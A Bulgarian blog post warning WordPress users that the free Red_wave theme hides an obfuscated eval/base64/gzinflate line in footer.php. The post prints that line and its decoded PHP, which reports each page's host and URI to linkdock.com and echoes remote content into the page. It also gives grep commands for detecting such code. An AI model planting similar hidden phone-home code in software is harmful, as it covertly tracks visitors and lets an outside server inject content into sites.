Код за шпиониране в WordPress

Код за проследяване

Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание.

Проблем:

Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния обфускиран PHP код:

<? eval(gzinflate(base64_decode(‘vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+

X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5

K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS

Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4

HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A’))); ?>

(Всичко това е на един ред).

Което всъщност представлява следния зашифрован PHP код за проследяване:

error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"])
."&uri=".urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&& function_exists("file_get_contents")) {
	echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&& function_exists("file")) {
	$content = @file($CodeURL);
	echo @join("", $content);
} elseif (function_exists("curl_init")) {
	$ch = curl_init($CodeURL);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_exec($ch);
	curl_close($ch);
}

Както се вижда този скрипт изпраща до сървъра linkdock.com не само името на вашия домейн, а и точната страница, която в момента отваря посетителя.

Защо го правят?

С този код получават интернет трафик от различни уникални IP адреси, който се отчита в статистиките на сървъра им. Отчитат се повече посещения и сървъра може да продава рекламите си по-скъпо.
Решение:

Просто изтрий този ред от файла wp-content/themes/Red_wave/footer.php

В случая скрипта не носи някаква вреда, освен че забавя излишно зареждането на всяка една страница от блога и ако отсрещния сървър е претоварен, това ще доведе до много дълго време за зареждане на твоите страници на блога и дъното на сайта може да се чупи и размества. Ако твоя блог е прекалено често бавен, това няма да се хареса на бота на Google и е възможно твоя сайт да падне в SERP-а.

Често тази техника се ползва за да може автора на плъгина да вгради връзка към своя сайт, която да не може да бъде лесно открита и изтрита, но е възможно злонамерен сайт да разпространява безплатни темплейти или плъгини за WordPress, които да навредят на сайта, като например да изтрият всички статии.

Общи съвети за сигурност

Нека тази статия бъде предупреждение за всеки, който ползва темплейти или плъгини от непроверен източник. Съветвам те след като си свалиш тема или плъгин първо да пуснеш търсене в текста на всички файлове за опасни функции като eval(). Под Linux това става като от конзолата влезеш в директория wp-content и потърсиш с команда:

grep --include=*.php -r "eval(" *

Трябва тази команда да не изведе нищо. Ако излезеш една директория нагоре в главната уеб директория и пуснеш командата отново, там ще има няколко резултата, но повод за притеснение има само ако съдържат  base64_decode или gzinflate. Може да провериш това с командата:

grep --include=*.php -r "eval(" * | grep -e "base64_decode\|gzinflate"

Ако в eval има кодиран низ, като този по-горе и не знаеш как да го провериш, тогава по-добре не ползвай тази тема или плъгин. Колкото по красиво и професионално изглежда тимплейта, толкова по-силно ще се изкушаваш да го вградиш в твоя блог, но не искаш данните ти да пострадат нали? Знай, че това е възможно и много лесно да се направи.

Друг проблем със сигурността е небрежно написан код, който създава дупка в сигурността без знанието на разработчика на софтуера. Сигурно в 95% от случаите на хакване на сайт се дължат на това. Всеки допълнителен плъгин, който добавяш увеличава вероятността да поставиш дупка в сигурността в твоя сайт, затова не инсталирай плъгини, които не ползваш или такива, които ползваш много рядко.

Старите версии на WordPress имаха дупки в сигурността и вероятно и в бъдеще ще има такива. Много хора си мислят, че като качат най-новата версия на софтуера и така са защитени, но това не винаги е така.

Правило за обновяване на софтуер

Ето едно просто правило за обновяване, което важи не само за WordPress, а и за всеки един софтуер: В момента последната версия на WordPress е 2.8.4 и ако излезе нова версия 2.8.x като 2.8.5 или 2.8.6 обикновено запушва дупки в сигурността и поправя бъгове, затова е добре да я инсталираш веднага. Например 2.8.4 поправя дупка в сигурността на версии <=2.8.3, чрез която може да се променя паролата на admin, затова веднага обнови до тази версия.

Но ако излезе версия с нова цифра като 2.9 (или направо 3.0) е много вероятно такава версия да има дупки в сигурността и е по-добре да изчакаш версия 2.9.1 или дори 2.9.2 и чак тогава да обновиш софтуера си. По този начин намаляваш риска значително.

Прочетена:9793
« Предишна публикация

PHP парсване на XML новини за твоя сайт

Ще ти покажа малко PHP код, с който много лесно можеш да извлечеш новини от някой сайт за новини, който има RSS хранилка (RSS feed). Много хора дори не предполагат, колко елементарно се прави това. Дори ... Повече информация »

Следваща публикация »

jQuery галерия за бързо преглеждане на снимки

Представям ти един jQuery плъгин, който създава уеб интерфейс за преглеждане на снимки качени на твоя сайт. Възможностите на плъгина галерия са наистина впечатляващи. 1. След зареждане на страницата освен първата снимка, която гледаш в момента, ... Повече информация »

1 - лоша2 - слаба3 - средна4 - добра5 - отлична (Няма гласове. Дайте оценка първи!)
Loading...

8 коментара

  1. Пламен 17.08.2009
  2. vodoleq 17.08.2009
  3. Марина 18.08.2009
  4. kyko 28.08.2009
  5. калин 16.11.2009
  6. Kvoto i da e 25.06.2010
  7. gan 25.06.2010
споделиха